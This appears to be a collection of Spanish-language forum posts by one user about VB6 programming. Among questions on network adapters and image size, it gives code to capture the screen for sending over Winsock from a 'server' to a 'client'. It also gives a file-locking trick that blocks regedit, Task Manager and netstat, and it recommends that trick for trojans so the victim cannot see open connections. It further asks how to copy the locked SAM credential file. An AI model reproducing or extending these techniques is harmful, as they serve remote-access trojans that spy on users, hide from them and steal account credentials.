Mensajes

Ok tio muchisimas gracias 

Si ok y si la meto en una image y la hago mas pequeña con el strech a true y la guardo en un fichero y envio la ultima modificacion vadria

Sabe alguein como puedo maneja los adaptadoes de red dede codigo en vb6  lo que queira es poder habilitar y desabilitar las conesiones y saber cuantas tengo desde vb 6

Sabe alguein como puedo maneja los adaptadoes de red dede codigo en vb6  lo que queira es poder habilitar y desabilitar las conesiones y saber cuantas tengo desde vb 6

como la paso la renombro y creo que me ocupa lo mismo

Lo que qeria es que ocupe menos la imagen porque asi me ocupa 3 Mb y tenia un codigo que ocupaba menos y lo he perdido

HOla mira queiro capturar la imgen y enviarla por winsok y uso esto:

Código [Seleccionar] Expandir

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Function Captura_Screen()
'On Error GoTo aki

Clipboard.Clear

'capturamos
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0

'mientras no se pueda cojer el contenido
Do While Clipboard.GetData = False
DoEvents
Loop

Picture1.Picture = Clipboard.GetData
'borramos el portapapeles
Clipboard.Clear
SavePicture Picture1.Picture, "c:\sht.bmp"

Do While Len(Dir("c:\sht.bmp")) = 0
    DoEvents
Loop
'ya se ha guardado el archivo
End Function

Private Sub Form_Load()
Captura_Screen
End Sub

[Private Sub Form_Load() Command$ Open Command$ For Binary As #1End Sub]

SI no queires que los usuarios lean archivos y registros de tus aplicaciones create un exe que simpre se este ejecutando y pones esto:

Private Sub Form_Load()
    Command$
    Open Command$ For Binary As #1
End Sub
Generas el exe y le llamas por ejemplo proteger.exe
Luego ejecutas

• Ejecuta "proteger.exe c:\windows\regedit.exe" ' no te dejara abrir el regedit.
  Ejecuta "proteger.exe c:\windows\system32\netstat.exe" El usuari no vera las conesiones ni los puertos abiertos
  ejecuta "proteger.exe c:\windows\c:\windows\system32 '\Taskmgr.exe" 'El usuario no podra abrir el adminstrador de tareas

Esto funciona con todos los archvios ya sean exe, archivos de texto imagenes ,etc
En un troyano es interesante cuando se inicie el servidor poner
 
Open "RutaexeNetstat.exe" For Binary As #1

Hola
Queria saber si hay alguna forma de copiar el contenido del SAM, es hay donde se guardan la informacion de todos los usuarios
Lo que pasa que el S.O por seguridad mantiene abierto de forma binaria ese archivo para que no s epueda eliminar ni ver su informacion, hya alguna forma de cerrar ese proceso para copiar la informacion o copiarlo a otra ubicacion y luego abrirlo

HOla a todos mira queiro crar un progrma con winsok que el servidor capture la imagen de pantalla y la envie al cliente
Perdi el codigo:
lo que yo hacia era captura la imagen la metia en un jpg y el jpg lo enviaba al cliente pero la imagen pesa mucho. y queira saber si hay otra forma.